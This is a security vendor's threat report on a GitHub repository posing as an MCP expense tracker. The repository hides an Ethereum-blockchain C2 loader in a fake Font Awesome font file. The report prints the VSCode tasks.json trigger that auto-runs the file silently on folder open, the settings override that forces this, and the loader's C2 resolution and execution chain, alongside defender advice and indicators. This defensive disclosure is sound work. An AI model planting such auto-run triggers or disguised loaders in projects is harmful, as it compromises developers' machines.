Aephix accepted into the Databricks Startup Program
← Research
Threat report Sep 12, 2026 · A10-*050

local-mcp: VSCode task executes blockchain C2 payload disguised as a Font Awesome font

Hamxay/local-mcp ships a clean FastMCP expense tracker with a committed .vscode/tasks.json that auto-executes on folder open. The task runs node against public/fonts/fa-solid-400.woff2, which is not a font: it is 32,218 bytes of obfuscated JavaScript carrying the same Ethereum blockchain C2 loader seen in agentgui, animotion-mcp, expo-mcp, and stitch-mcp. Campaign A10-*050, same wallet 0xa322...ef1a, same C2 paths, same dual eval-plus-spawn execution.

Hamxay/local-mcp is a single-commit GitHub repository presenting a FastMCP expense tracker. The Python code is clean. Committed alongside it, .vscode/tasks.json auto-executes on folder open and runs Node.js against public/fonts/fa-solid-400.woff2. That file is not a font. It is 32,218 bytes of obfuscated JavaScript preceded by 507 bytes of whitespace, carrying campaign identifier A10-*050 and the same Ethereum blockchain C2 loader confirmed in four prior specimens. The wallet, RPC endpoints, C2 paths, and execution pattern all match. .vscode/settings.json forces task.allowAutomaticTasks to true, overriding the developer’s IDE defaults.

The artifact

The repository contains a single commit (ee0dd57, Aug 14, 2026) by the handle Hamxay. The commit message reads “Security cleanup for suspicious supply-chain indicators.” There is no prior commit to clean up.

Nine code and configuration files plus 14 Font Awesome font assets. main.py is a FastMCP expense tracker using aiosqlite, registering four tools (add expense, list expenses, summarize, read categories). pyproject.toml names the project mcp-practice and pins fastmcp>=2.14.3. The README is empty. categories.json provides 20 expense categories. All of this is functional, unremarkable code.

The .gitignore excludes temp_auto_push.bat and temp_interactive_push.bat. Neither file is committed, but temp_auto_push.bat is the exact timestamp-manipulation script committed in the mcp-server-fast-mcp specimen analyzed the same day: it rewrites commit dates by temporarily changing the system clock and force-pushes with --no-verify.

What it does

The trigger sits in .vscode/tasks.json:

{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
  "runOptions": { "runOn": "folderOpen" },
  "presentation": {
    "reveal": "never",
    "echo": false,
    "focus": false,
    "close": true
  },
  "isBackground": true,
  "hide": true
}

The command tests for Node.js on both Unix (command -v) and Windows (where), then executes the disguised font file. The fallback echo '' ensures silent failure if Node.js is not installed.

.vscode/settings.json reinforces the trigger:

{
  "task.allowAutomaticTasks": true,
  "terminal.integrated.hideOnStartup": "always"
}

task.allowAutomaticTasks: true overrides VSCode’s default prompt for folderOpen tasks. hideOnStartup: "always" suppresses the terminal panel entirely.

The payload

public/fonts/fa-solid-400.woff2 sits among 13 legitimate Font Awesome font files. The file command identifies those 13 as Web Open Font Format (Version 2), TrueType; it identifies fa-solid-400.woff2 as JavaScript source, ASCII text.

The file opens with 507 bytes of ASCII spaces (0x20), followed by global.i = 'A10-*050'; and 31,711 bytes of obfuscated JavaScript. The 507-byte whitespace padding matches the exact count in animotion-mcp and expo-mcp.

The obfuscated payload reconstructs the Ethereum wallet address from four string fragments (0xa322E5f3 + D311D3080e + 6f0121063e + 9aDC2490Ef + 1a), lowercased at runtime to 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a. This is the same wallet used in campaigns A9-2057 (agentgui), A9-2353-1 (expo-mcp), A9-4051-1 (animotion-mcp), and A11—* (stitch-mcp).

The loader queries five Ethereum RPC endpoints for transactions from the wallet: 1rpc[.]io/eth, eth[.]drpc[.]org, ethereum-rpc[.]publicnode[.]com, eth-mainnet[.]public[.]blastapi[.]io, and process.env.ETH_RPC_URL (using the developer’s own RPC endpoint if configured). A Blockscout API fallback queries eth[.]blockscout[.]com/api for the transaction list. C2 addresses are extracted from transaction to fields and contacted at /0x/ls and /0x/cls on port 443. Fetched payloads are XOR-decrypted and executed via eval() inline and spawn('node', ['-e', ...], { detached: true, stdio: 'ignore', windowsHide: true }).unref() as a detached child process.

Every element of this chain (wallet, RPC endpoints, Blockscout fallback, C2 paths, XOR decryption, dual execution) has appeared in the four prior specimens.

Developer opens folder in VSCode auto-fires tasks.json runs node fa-solid-400.woff2 507 bytes whitespace + obfuscated JS Ethereum RPC: resolve wallet 0xa322...ef1a extract C2 from transactions XOR decrypt → eval() + detached spawn C2 paths: /0x/ls and /0x/cls (port 443) Aephix
The task executes a JavaScript payload masquerading as a Font Awesome woff2 file. The payload resolves C2 addresses from Ethereum wallet transactions.

The campaign

Campaign A10-*050 is the fifth confirmed variant of the Ethereum blockchain C2 operation that began with agentgui (A9-2057). All five share the same wallet and RPC infrastructure, with the same C2 path convention. The campaign identifiers span three major-version prefixes: A9- (agentgui, expo-mcp, animotion-mcp), A10- (local-mcp), and A11- (stitch-mcp).

agentgui hid the loader after whitespace in a database module. animotion-mcp used an analytics helper. expo-mcp used an ESLint config. stitch-mcp used a PostCSS config loaded at build time. local-mcp moves the payload out of source code entirely, into a file masquerading as a binary font asset and triggered by IDE configuration.

The .gitignore in local-mcp excludes temp_auto_push.bat, the same timestamp-manipulation script committed in mcp-server-fast-mcp (a separate specimen from the same day that used a Vercel-hosted curl-to-shell trigger instead of blockchain C2). Both repos use VSCode task poisoning with runOn: "folderOpen" and identical presentation suppression.

Why the operation matters here

Code review of main.py, pyproject.toml, and supporting files finds nothing. The payload sits in a directory developers treat as static assets, named to match a Font Awesome convention, surrounded by legitimate font files that pass file identification as WOFF2. The commit message (“Security cleanup for suspicious supply-chain indicators”) implies the repository was already reviewed and hardened.

Blocking the wallet 0xa322...ef1a across all five campaign identifiers and their delivery variants neutralizes the C2 resolution for the entire operation.

What a defender can do

  • Set "task.allowAutomaticTasks": "never" in user-level VSCode settings (overrides the repository’s true)
  • Enable Workspace Trust and do not auto-trust cloned repositories
  • Run file on every asset in a cloned repository’s static directories before opening in the IDE
  • Block Ethereum RPC calls from CI and development environments where smart contract interaction is not expected
  • Monitor for node processes executing files with font extensions

These controls stop the trigger and the C2 resolution but do not identify whether a repository carries a disguised payload in its static assets before it reaches the IDE or build pipeline.

Where Aephix fits

Five campaign variants across five file locations, all pointing to one wallet. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth links the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week to the wider operations behind them, with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.

Indicators of compromise

IndicatorType
Hamxay/local-mcpRepository
HamxayGit handle
ee0dd57Commit SHA
A10-*050Campaign ID
0xa322e5f3d311d3080e6f0121063e9adc2490ef1aEthereum wallet
public/fonts/fa-solid-400.woff2 (JavaScript, not WOFF2)Payload location
.vscode/tasks.json with runOn: "folderOpen"Trigger mechanism
hxxps://1rpc[.]io/ethEthereum RPC
hxxps://eth[.]drpc[.]orgEthereum RPC
hxxps://ethereum-rpc[.]publicnode[.]comEthereum RPC
hxxps://eth-mainnet[.]public[.]blastapi[.]ioEthereum RPC
hxxps://eth[.]blockscout[.]com/apiIndexer fallback
/0x/lsC2 path
/0x/clsC2 path
temp_auto_push.bat (gitignored, not committed)Shared tooling